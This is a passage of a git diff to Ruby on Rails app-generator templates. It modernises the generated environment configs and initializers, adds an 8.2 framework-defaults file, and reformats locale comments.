+#     files:
+#       - config/mysql/production.cnf:/etc/mysql/my.cnf
+#       - db/production.sql:/docker-entrypoint-initdb.d/setup.sql
+#     directories:
+#       - data:/var/lib/mysql
+#   redis:
+#     image: valkey/valkey:8
+#     host: 192.168.0.2
+#     port: 6379
+#     directories:
+#       - data:/data
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environment.rb b/railties/lib/rails/generators/rails/app/templates/config/environment.rb
deleted file mode 100644
index 426333bb46978..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/environment.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-# Load the Rails application.
-require_relative 'application'
-
-# Initialize the Rails application.
-Rails.application.initialize!
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environment.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environment.rb.tt
new file mode 100644
index 0000000000000..cac5315775258
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/environment.rb.tt
@@ -0,0 +1,5 @@
+# Load the Rails application.
+require_relative "application"
+
+# Initialize the Rails application.
+Rails.application.initialize!
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
index 511b4a82ebde2..ed7c67bc77fda 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
@@ -1,10 +1,10 @@
+require "active_support/core_ext/integer/time"
+
 Rails.application.configure do
   # Settings specified here will take precedence over those in config/application.rb.
 
-  # In the development environment your application's code is reloaded on
-  # every request. This slows down response time but is perfect for development
-  # since you don't have to restart the web server when you make code changes.
-  config.cache_classes = false
+  # Make code changes take effect immediately without server restart.
+  config.enable_reloading = true
 
   # Do not eager load code on boot.
   config.eager_load = false
@@ -12,25 +12,38 @@ Rails.application.configure do
   # Show full error reports.
   config.consider_all_requests_local = true
 
-  # Enable/disable caching. By default caching is disabled.
-  if Rails.root.join('tmp/caching-dev.txt').exist?
-    config.action_controller.perform_caching = true
+  # Enable server timing.
+  config.server_timing = true
 
-    config.cache_store = :memory_store
-    config.public_file_server.headers = {
-      'Cache-Control' => "public, max-age=#{2.days.seconds.to_i}"
-    }
+  # Enable/disable Action Controller caching. By default Action Controller caching is disabled.
+  # Run rails dev:cache to toggle Action Controller caching.
+  if Rails.root.join("tmp/caching-dev.txt").exist?
+    <%- unless options.api? -%>
+    config.action_controller.perform_caching = true
+    config.action_controller.enable_fragment_cache_logging = true
+    <%- end -%>
+    config.public_file_server.headers = { "cache-control" => "public, max-age=#{2.days.to_i}" }
   else
     config.action_controller.perform_caching = false
-
-    config.cache_store = :null_store
   end
+
+  # Change to :null_store to avoid any caching.
+  config.cache_store = :memory_store
+  <%- unless skip_active_storage? -%>
+
+  # Store uploaded files on the local file system (see config/storage.yml for options).
+  config.active_storage.service = :local
+  <%- end -%>
   <%- unless options.skip_action_mailer? -%>
 
   # Don't care if the mailer can't send.
   config.action_mailer.raise_delivery_errors = false
 
+  # Make template changes take effect immediately.
   config.action_mailer.perform_caching = false
+
+  # Set localhost to be used by links generated in mailer templates.
+  config.action_mailer.default_url_options = { host: "localhost", port: 3000 }
   <%- end -%>
 
   # Print deprecation notices to the Rails logger.
@@ -40,21 +53,42 @@ Rails.application.configure do
   # Raise an error on page load if there are pending migrations.
   config.active_record.migration_error = :page_load
 
+  # Highlight code that triggered database queries in logs.
+  config.active_record.verbose_query_logs = true
+
+  # Append comments with runtime information tags to SQL queries in logs.
+  config.active_record.query_log_tags_enabled = true
+
+  <%- end -%>
+  <%- unless options[:skip_active_job] -%>
+  # Highlight code that enqueued background job in logs.
+  config.active_job.verbose_enqueue_logs = true
+
   <%- end -%>
-  <%- unless options.skip_sprockets? -%>
-  # Debug mode disables concatenation and preprocessing of assets.
-  # This option may cause significant delays in view rendering with a large
-  # number of complex assets.
-  config.assets.debug = true
+  # Highlight code that triggered redirect in logs.
+  config.action_dispatch.verbose_redirect_logs = true
 
+  <%- unless options[:skip_asset_pipeline] -%>
   # Suppress logger output for asset requests.
   config.assets.quiet = true
+
   <%- end -%>
+  # Raises error for missing translations.
+  # config.i18n.raise_on_missing_translations = true
 
-  # Raises error for missing translations
-  # config.action_view.raise_on_missing_translations = true
+  # Annotate rendered view with file names.
+  config.action_view.annotate_rendered_view_with_filenames = true
 
-  # Use an evented file watcher to asynchronously detect changes in source code,
-  # routes, locales, etc. This feature depends on the listen gem.
-  <%= '# ' unless depend_on_listen? %>config.file_watcher = ActiveSupport::EventedFileUpdateChecker
+  <%- unless skip_action_cable? -%>
+  # Uncomment if you wish to allow Action Cable access from any origin.
+  # config.action_cable.disable_request_forgery_protection = true
+
+  <%- end -%>
+  # Raise error when a before_action's only/except options reference missing actions.
+  config.action_controller.raise_on_missing_callback_actions = true
+  <%- unless skip_rubocop? -%>
+
+  # Apply autocorrection by RuboCop to files generated by `bin/rails generate`.
+  # config.generators.apply_rubocop_autocorrect_after_generate!
+  <%- end -%>
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
index 4a39e43e57011..418b2c3f67158 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
@@ -1,98 +1,107 @@
+require "active_support/core_ext/integer/time"
+
 Rails.application.configure do
   # Settings specified here will take precedence over those in config/application.rb.
 
   # Code is not reloaded between requests.
-  config.cache_classes = true
+  config.enable_reloading = false
 
-  # Eager load code on boot. This eager loads most of Rails and
-  # your application in memory, allowing both threaded web servers
-  # and those relying on copy on write to perform better.
-  # Rake tasks automatically ignore this option for performance.
+  # Eager load code on boot for better performance and memory savings (ignored by Rake tasks).
   config.eager_load = true
 
-  # Full error reports are disabled and caching is turned on.
-  config.consider_all_requests_local       = false
-  config.action_controller.perform_caching = true
-
-  # Disable serving static files from the `/public` folder by default since
-  # Apache or NGINX already handles this.
-  config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present?
+  # Full error reports are disabled.
+  config.consider_all_requests_local = false
+  <%- unless options.api? -%>
 
-  <%- unless options.skip_sprockets? -%>
-  <%- if options.skip_javascript? -%>
-  # Compress CSS.
-  <%- else -%>
-  # Compress JavaScripts and CSS.
-  config.assets.js_compressor = :uglifier
+  # Turn on fragment caching in view templates.
+  config.action_controller.perform_caching = true
   <%- end -%>
-  # config.assets.css_compressor = :sass
-
-  # Do not fallback to assets pipeline if a precompiled asset is missed.
-  config.assets.compile = false
 
-  # `config.assets.precompile` and `config.assets.version` have moved to config/initializers/assets.rb
-  <%- end -%>
+  # Cache assets for far-future expiry since they are all digest stamped.
+  config.public_file_server.headers = { "cache-control" => "public, max-age=#{1.year.to_i}" }
 
   # Enable serving of images, stylesheets, and JavaScripts from an asset server.
-  # config.action_controller.asset_host = 'http://assets.example.com'
+  # config.asset_host = "http://assets.example.com"
 
-  # Specifies the header that your server uses for sending files.
-  # config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache
-  # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
+  <%- unless skip_active_storage? -%>
+  # Store uploaded files on the local file system (see config/storage.yml for options).
+  config.active_storage.service = :local
 
-  <%- unless options[:skip_action_cable] -%>
-  # Mount Action Cable outside main process or domain
-  # config.action_cable.mount_path = nil
-  # config.action_cable.url = 'wss://example.com/cable'
-  # config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ]
+  <%- end -%>
+  # Assume all access to the app is happening through a SSL-terminating reverse proxy.
+  <%- if skip_kamal? -%>
+  config.assume_ssl = true
+  <%- else -%>
+  # config.assume_ssl = true
   <%- end -%>
 
   # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+  <%- if skip_kamal? -%>
+  config.force_ssl = true
+  <%- else -%>
   # config.force_ssl = true
+  <%- end -%>
 
-  # Use the lowest log level to ensure availability of diagnostic information
-  # when problems arise.
-  config.log_level = :debug
+  # Skip http-to-https redirect for the default health check endpoint.
+  # config.ssl_options = { redirect: { exclude: ->(request) { request.path == "/up" } } }
 
-  # Prepend all log lines with the following tags.
+  # Log to STDOUT with the current request id as a default log tag.
   config.log_tags = [ :request_id ]
+  config.logger   = ActiveSupport::TaggedLogging.logger(STDOUT)
+
+  # Change to "debug" to log everything (including potentially personally-identifiable information!).
+  config.log_level = ENV.fetch("RAILS_LOG_LEVEL", "info")
+
+  # Prevent health checks from clogging up the logs.
+  config.silence_healthcheck_path = "/up"
+
+  # Don't log any deprecations.
+  config.active_support.report_deprecations = false
 
-  # Use a different cache store in production.
+  # Replace the default in-process memory cache store with a durable alternative.
   # config.cache_store = :mem_cache_store
 
-  # Use a real queuing backend for Active Job (and separate queues per environment)
-  # config.active_job.queue_adapter     = :resque
-  # config.active_job.queue_name_prefix = "<%= app_name %>_#{Rails.env}"
-  <%- unless options.skip_action_mailer? -%>
-  config.action_mailer.perform_caching = false
+  <%- unless options[:skip_active_job] -%>
+  # Replace the default in-process and non-durable queuing backend for Active Job.
+  # config.active_job.queue_adapter = :resque
 
+  <%- end -%>
+  <%- unless options.skip_action_mailer? -%>
   # Ignore bad email addresses and do not raise email delivery errors.
   # Set this to true and configure the email server for immediate delivery to raise delivery errors.
   # config.action_mailer.raise_delivery_errors = false
-  <%- end -%>
 
+  # Set host to be used by links generated in mailer templates.
+  config.action_mailer.default_url_options = { host: "example.com" }
+
+  # Specify outgoing SMTP server. Remember to add smtp/* credentials via bin/rails credentials:edit.
+  # config.action_mailer.smtp_settings = {
+  #   user_name: Rails.application.credentials.dig(:smtp, :user_name),
+  #   password: Rails.application.credentials.dig(:smtp, :password),
+  #   address: "smtp.example.com",
+  #   port: 587,
+  #   authentication: :plain
+  # }
+
+  <%- end -%>
   # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
   # the I18n.default_locale when a translation cannot be found).
   config.i18n.fallbacks = true
-
-  # Send deprecation notices to registered listeners.
-  config.active_support.deprecation = :notify
-
-  # Use default logging formatter so that PID and timestamp are not suppressed.
-  config.log_formatter = ::Logger::Formatter.new
-
-  # Use a different logger for distributed setups.
-  # require 'syslog/logger'
-  # config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name')
-
-  if ENV["RAILS_LOG_TO_STDOUT"].present?
-    logger           = ActiveSupport::Logger.new(STDOUT)
-    logger.formatter = config.log_formatter
-    config.logger    = ActiveSupport::TaggedLogging.new(logger)
-  end
   <%- unless options.skip_active_record? -%>
 
   # Do not dump schema after migrations.
   config.active_record.dump_schema_after_migration = false
+
+  # Only use :id for inspections in production.
+  config.active_record.attributes_for_inspect = [ :id ]
   <%- end -%>
+
+  # Enable DNS rebinding protection and other `Host` header attacks.
+  # config.hosts = [
+  #   "example.com",     # Allow requests from example.com
+  #   /.*\.example\.com/ # Allow requests from subdomains like `www.example.com`
+  # ]
+  #
+  # Skip DNS rebinding protection for the default health check endpoint.
+  # config.host_authorization = { exclude: ->(request) { request.path == "/up" } }
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
index 56416b3075e42..398b29b70897d 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
@@ -1,44 +1,58 @@
+# The test environment is used exclusively to run your application's
+# test suite. You never need to work with it otherwise. Remember that
+# your test database is "scratch space" for the test suite and is wiped
+# and recreated between test runs. Don't rely on the data there!
+
 Rails.application.configure do
   # Settings specified here will take precedence over those in config/application.rb.
 
-  # The test environment is used exclusively to run your application's
-  # test suite. You never need to work with it otherwise. Remember that
-  # your test database is "scratch space" for the test suite and is wiped
-  # and recreated between test runs. Don't rely on the data there!
-  config.cache_classes = true
+  # While tests run files are not watched, reloading is not necessary.
+  config.enable_reloading = false
 
-  # Do not eager load code on boot. This avoids loading your whole application
-  # just for the purpose of running a single test. If you are using a tool that
-  # preloads Rails for running tests, you may have to set it to true.
-  config.eager_load = false
+  # Eager loading loads your entire application. When running a single test locally,
+  # this is usually not necessary, and can slow down your test suite. However, it's
+  # recommended that you enable it in continuous integration systems to ensure eager
+  # loading is working properly before deploying your code.
+  config.eager_load = ENV["CI"].present?
+  config.rake_eager_load = ENV["CI"].present?
 
-  # Configure public file server for tests with Cache-Control for performance.
-  config.public_file_server.enabled = true
-  config.public_file_server.headers = {
-    'Cache-Control' => "public, max-age=#{1.hour.seconds.to_i}"
-  }
+  # Configure public file server for tests with cache-control for performance.
+  config.public_file_server.headers = { "cache-control" => "public, max-age=3600" }
 
-  # Show full error reports and disable caching.
-  config.consider_all_requests_local       = true
-  config.action_controller.perform_caching = false
+  # Show full error reports.
+  config.consider_all_requests_local = true
+  config.cache_store = :null_store
 
-  # Raise exceptions instead of rendering exception templates.
-  config.action_dispatch.show_exceptions = false
+  # Render exception templates for rescuable exceptions and raise for other exceptions.
+  config.action_dispatch.show_exceptions = :rescuable
 
   # Disable request forgery protection in test environment.
   config.action_controller.allow_forgery_protection = false
-  <%- unless options.skip_action_mailer? -%>
-  config.action_mailer.perform_caching = false
 
+  <%- unless skip_active_storage? -%>
+  # Store uploaded files on the local file system in a temporary directory.
+  config.active_storage.service = :test
+
+  <%- end -%>
+  <%- unless options.skip_action_mailer? -%>
   # Tell Action Mailer not to deliver emails to the real world.
   # The :test delivery method accumulates sent emails in the
   # ActionMailer::Base.deliveries array.
   config.action_mailer.delivery_method = :test
-  <%- end -%>
 
+  # Set host to be used by links generated in mailer templates.
+  config.action_mailer.default_url_options = { host: "example.com" }
+
+  <%- end -%>
   # Print deprecation notices to the stderr.
   config.active_support.deprecation = :stderr
 
-  # Raises error for missing translations
-  # config.action_view.raise_on_missing_translations = true
+  # Raises error for missing translations.
+  # config.i18n.raise_on_missing_translations = true
+
+  # Annotate rendered view with file names.
+  # config.action_view.annotate_rendered_view_with_filenames = true
+
+  # Raise error when a before_action's only/except options reference missing actions.
+  config.action_controller.raise_on_missing_callback_actions = true
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/application_controller_renderer.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/application_controller_renderer.rb
deleted file mode 100644
index 51639b67a00dd..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/application_controller_renderer.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# ApplicationController.renderer.defaults.merge!(
-#   http_host: 'example.org',
-#   https: false
-# )
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt
index f5d03fb117131..487324424ff4a 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt
@@ -1,16 +1,7 @@
 # Be sure to restart your server when you modify this file.
 
 # Version of your assets, change this if you want to expire all your assets.
-Rails.application.config.assets.version = '1.0'
+Rails.application.config.assets.version = "1.0"
 
 # Add additional assets to the asset load path.
 # Rails.application.config.assets.paths << Emoji.images_path
-<%- unless options[:skip_yarn] -%>
-# Add Yarn node_modules folder to the asset load path.
-Rails.application.config.assets.paths << Rails.root.join('vendor/node_modules')
-<%- end -%>
-
-# Precompile additional assets.
-# application.js, application.css, and all non-JS/CSS in the app/assets
-# folder are already added.
-# Rails.application.config.assets.precompile += %w( admin.js admin.css )
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/backtrace_silencers.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/backtrace_silencers.rb
deleted file mode 100644
index 59385cdf379bd..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/backtrace_silencers.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces.
-# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ }
-
-# You can also remove all the silencers if you're trying to debug a problem that might stem from framework code.
-# Rails.backtrace_cleaner.remove_silencers!
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/content_security_policy.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/content_security_policy.rb.tt
new file mode 100644
index 0000000000000..d51d713979830
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/content_security_policy.rb.tt
@@ -0,0 +1,29 @@
+# Be sure to restart your server when you modify this file.
+
+# Define an application-wide content security policy.
+# See the Securing Rails Applications Guide for more information:
+# https://guides.rubyonrails.org/security.html#content-security-policy-header
+
+# Rails.application.configure do
+#   config.content_security_policy do |policy|
+#     policy.default_src :self, :https
+#     policy.font_src    :self, :https, :data
+#     policy.img_src     :self, :https, :data
+#     policy.object_src  :none
+#     policy.script_src  :self, :https
+#     policy.style_src   :self, :https
+#     # Specify URI for violation reports
+#     # policy.report_uri "/csp-violation-report-endpoint"
+#   end
+#
+#   # Generate session nonces for permitted importmap, inline scripts, and inline styles.
+#   config.content_security_policy_nonce_generator = ->(request) { request.session.id.to_s }
+#   config.content_security_policy_nonce_directives = %w(script-src style-src)
+#
+#   # Automatically add `nonce` to `javascript_tag`, `javascript_include_tag`, and `stylesheet_link_tag`
+#   # if the corresponding directives are specified in `content_security_policy_nonce_directives`.
+#   # config.content_security_policy_nonce_auto = true
+#
+#   # Report violations without enforcing the policy.
+#   # config.content_security_policy_report_only = true
+# end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb
deleted file mode 100644
index 5a6a32d371fe5..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Specify a serializer for the signed and encrypted cookie jars.
-# Valid options are :json, :marshal, and :hybrid.
-Rails.application.config.action_dispatch.cookies_serializer = :json
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/cors.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/cors.rb
deleted file mode 100644
index 3b1c1b5ed1480..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/cors.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Avoid CORS issues when API is called from the frontend app.
-# Handle Cross-Origin Resource Sharing (CORS) in order to accept cross-origin AJAX requests.
-
-# Read more: https://github.com/cyu/rack-cors
-
-# Rails.application.config.middleware.insert_before 0, Rack::Cors do
-#   allow do
-#     origins 'example.com'
-#
-#     resource '*',
-#       headers: :any,
-#       methods: [:get, :post, :put, :patch, :delete, :options, :head]
-#   end
-# end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/cors.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/cors.rb.tt
new file mode 100644
index 0000000000000..0c5dd99ac649f
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/cors.rb.tt
@@ -0,0 +1,16 @@
+# Be sure to restart your server when you modify this file.
+
+# Avoid CORS issues when API is called from the frontend app.
+# Handle Cross-Origin Resource Sharing (CORS) in order to accept cross-origin Ajax requests.
+
+# Read more: https://github.com/cyu/rack-cors
+
+# Rails.application.config.middleware.insert_before 0, Rack::Cors do
+#   allow do
+#     origins "example.com"
+#
+#     resource "*",
+#       headers: :any,
+#       methods: [:get, :post, :put, :patch, :delete, :options, :head]
+#   end
+# end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/filter_parameter_logging.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/filter_parameter_logging.rb
deleted file mode 100644
index 4a994e1e7bb7c..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/filter_parameter_logging.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Configure sensitive parameters which will be filtered from the log file.
-Rails.application.config.filter_parameters += [:password]
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/filter_parameter_logging.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/filter_parameter_logging.rb.tt
new file mode 100644
index 0000000000000..c0b717f7ecbb9
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/filter_parameter_logging.rb.tt
@@ -0,0 +1,8 @@
+# Be sure to restart your server when you modify this file.
+
+# Configure parameters to be partially matched (e.g. passw matches password) and filtered from the log file.
+# Use this to limit dissemination of sensitive information.
+# See the ActiveSupport::ParameterFilter documentation for supported notations and behaviors.
+Rails.application.config.filter_parameters += [
+  :passw, :email, :secret, :token, :_key, :crypt, :salt, :certificate, :otp, :ssn, :cvv, :cvc
+]
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb
deleted file mode 100644
index ac033bf9dc846..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Add new inflection rules using the following format. Inflections
-# are locale specific, and you may define rules for as many different
-# locales as you wish. All of these examples are active by default:
-# ActiveSupport::Inflector.inflections(:en) do |inflect|
-#   inflect.plural /^(ox)$/i, '\1en'
-#   inflect.singular /^(ox)en/i, '\1'
-#   inflect.irregular 'person', 'people'
-#   inflect.uncountable %w( fish sheep )
-# end
-
-# These inflection rules are supported but not enabled by default:
-# ActiveSupport::Inflector.inflections(:en) do |inflect|
-#   inflect.acronym 'RESTful'
-# end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb.tt
new file mode 100644
index 0000000000000..3860f659ead02
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb.tt
@@ -0,0 +1,16 @@
+# Be sure to restart your server when you modify this file.
+
+# Add new inflection rules using the following format. Inflections
+# are locale specific, and you may define rules for as many different
+# locales as you wish. All of these examples are active by default:
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
+#   inflect.plural /^(ox)$/i, "\\1en"
+#   inflect.singular /^(ox)en/i, "\\1"
+#   inflect.irregular "person", "people"
+#   inflect.uncountable %w( fish sheep )
+# end
+
+# These inflection rules are supported but not enabled by default:
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
+#   inflect.acronym "RESTful"
+# end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
deleted file mode 100644
index dc1899682b01c..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Add new mime types for use in respond_to blocks:
-# Mime::Type.register "text/richtext", :rtf
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/new_framework_defaults.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/new_framework_defaults.rb.tt
deleted file mode 100644
index bd844f050302b..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/new_framework_defaults.rb.tt
+++ /dev/null
@@ -1,37 +0,0 @@
-# Be sure to restart your server when you modify this file.
-#
-# This file contains migration options to ease your Rails 5.0 upgrade.
-#
-<%- if options[:update] -%>
-# Once upgraded flip defaults one by one to migrate to the new default.
-#
-<%- end -%>
-# Read the Guide for Upgrading Ruby on Rails for more info on each option.
-<%- unless options[:api] -%>
-
-# Enable per-form CSRF tokens. Previous versions had false.
-Rails.application.config.action_controller.per_form_csrf_tokens = <%= options[:update] ? false : true %>
-
-# Enable origin-checking CSRF mitigation. Previous versions had false.
-Rails.application.config.action_controller.forgery_protection_origin_check = <%= options[:update] ? false : true %>
-<%- end -%>
-
-# Make Ruby 2.4 preserve the timezone of the receiver when calling `to_time`.
-# Previous versions had false.
-ActiveSupport.to_time_preserves_timezone = <%= options[:update] ? false : true %>
-<%- unless options[:skip_active_record] -%>
-
-# Require `belongs_to` associations by default. Previous versions had false.
-Rails.application.config.active_record.belongs_to_required_by_default = <%= options[:update] ? false : true %>
-<%- end -%>
-<%- unless options[:update] -%>
-
-# Configure SSL options to enable HSTS with subdomains. Previous versions had false.
-Rails.application.config.ssl_options = { hsts: { subdomains: true } }
-<%- end -%>
-<%- unless options[:skip_sprockets] -%>
-
-# Unknown asset fallback will return the path passed in when the given
-# asset is not present in the asset pipeline.
-Rails.application.config.assets.unknown_asset_fallback = <%= options[:update] ? true : false %>
-<%- end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/new_framework_defaults_8_2.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/new_framework_defaults_8_2.rb.tt
new file mode 100644
index 0000000000000..9b18961ce7eb7
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/new_framework_defaults_8_2.rb.tt
@@ -0,0 +1,62 @@
+# Be sure to restart your server when you modify this file.
+#
+# This file eases your Rails 8.2 framework defaults upgrade.
+#
+# Uncomment each configuration one by one to switch to the new default.
+# Once your application is ready to run with all new defaults, you can remove
+# this file and set the `config.load_defaults` to `8.2`.
+#
+# Read the Guide for Upgrading Ruby on Rails for more info on each option.
+# https://guides.rubyonrails.org/upgrading_ruby_on_rails.html
+
+###
+# Use Sec-Fetch-Site header for CSRF protection instead of tokens.
+#
+# Modern browsers send the Sec-Fetch-Site header to indicate the relationship
+# between request initiator and target origins. Rails can use this header to
+# reject cross-site requests without requiring authenticity tokens.
+#
+# When set to :header_only, requests without a valid Sec-Fetch-Site header
+# (same-origin or same-site) will be rejected. This is more secure and simpler
+# than token-based protection, but only works with modern browsers.
+#
+# When set to :header_or_legacy_token (pre-8.2 default), Rails checks the
+# Sec-Fetch-Site header first, but falls back to authenticity token verification
+# for requests without the header. This supports older browsers while logging
+# fallback usage.
+#++
+# Rails.application.config.action_controller.forgery_protection_verification_strategy = :header_only
+
+###
+# Controls whether the PostgresqlAdapter should decode bytea and money columns automatically with manual queries.
+#
+# Example:
+#   ActiveRecord::Base.connection.select_value("select '\\x48656c6c6f'::bytea").encoding #=> Encoding::BINARY
+#   ActiveRecord::Base.connection.select_value("select '12.34'::money").class #=> BigDecimal
+#
+# When false, these queries return UTF-8 `String` values.
+#++
+# Rails.application.config.active_record.postgresql_adapter_decode_bytea = true
+# Rails.application.config.active_record.postgresql_adapter_decode_money = true
+
+###
+# Analyze attachments immediately, making metadata available for validations.
+#
+# When enabled, attachment metadata (image dimensions, video duration, etc.) is extracted
+# before validation, allowing you to validate file properties:
+#
+#   has_one_attached :avatar
+#   validate :validate_avatar_dimensions, if: -> { avatar.attached? }
+#
+#   def validate_avatar_dimensions
+#     if avatar.metadata[:width] < 200 || avatar.metadata[:height] < 200
+#       errors.add(:avatar, "must be at least 200x200")
+#     end
+#   end
+#
+# Valid options:
+#  - :immediately - Analyze before validation (new default)
+#  - :later - Analyze after upload from local IO or via background job for direct uploads
+#  - :lazily - Skip automatic analysis; analyze on-demand
+#++
+# Rails.application.config.active_storage.analyze = :immediately
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
deleted file mode 100644
index cadc85cfac874..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
+++ /dev/null
@@ -1,16 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# This file contains settings for ActionController::ParamsWrapper which
-# is enabled by default.
-
-# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
-ActiveSupport.on_load(:action_controller) do
-  wrap_parameters format: [:json]
-end
-<%- unless options.skip_active_record? -%>
-
-# To enable root element in JSON for ActiveRecord objects.
-# ActiveSupport.on_load(:active_record) do
-#   self.include_root_in_json = true
-# end
-<%- end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/locales/en.yml b/railties/lib/rails/generators/rails/app/templates/config/locales/en.yml
index decc5a85735df..6c349ae5e3743 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/locales/en.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/locales/en.yml
@@ -1,14 +1,14 @@
-# Files in the config/locales directory are used for internationalization
-# and are automatically loaded by Rails. If you want to use locales other
-# than English, add the necessary files in this directory.
+# Files in the config/locales directory are used for internationalization and
+# are automatically loaded by Rails. If you want to use locales other than
+# English, add the necessary files in this directory.
 #
 # To use the locales, use `I18n.t`:
 #
-#     I18n.t 'hello'
+#     I18n.t "hello"
 #
 # In views, this is aliased to just `t`:
 #
-#     <%= t('hello') %>
+#     <%= t("hello") %>
 #
 # To use a different locale, set it with `I18n.locale`:
 #
@@ -16,18 +16,16 @@
 #
 # This would use the information in config/locales/es.yml.
 #
-# The following keys must be escaped otherwise they will not be retrieved by
-# the default I18n backend:
+# To learn more about the API, please read the Rails Internationalization guide
+# at https://guides.rubyonrails.org/i18n.html.
 #
-# true, false, on, off, yes, no
+# Be aware that YAML interprets the following case-insensitive strings as
+# booleans: `true`, `false`, `on`, `off`, `yes`, `no`. Therefore, these strings
+# must be quoted to be interpreted as strings. For example:
 #
-# Instead, surround them with single quotes.
-#
-# en:
-#   'true': 'foo'
-#
-# To learn more, please read the Rails Internationalization guide
-# available at http://guides.rubyonrails.org/i18n.html.
+#     en:
+#       "yes": yup
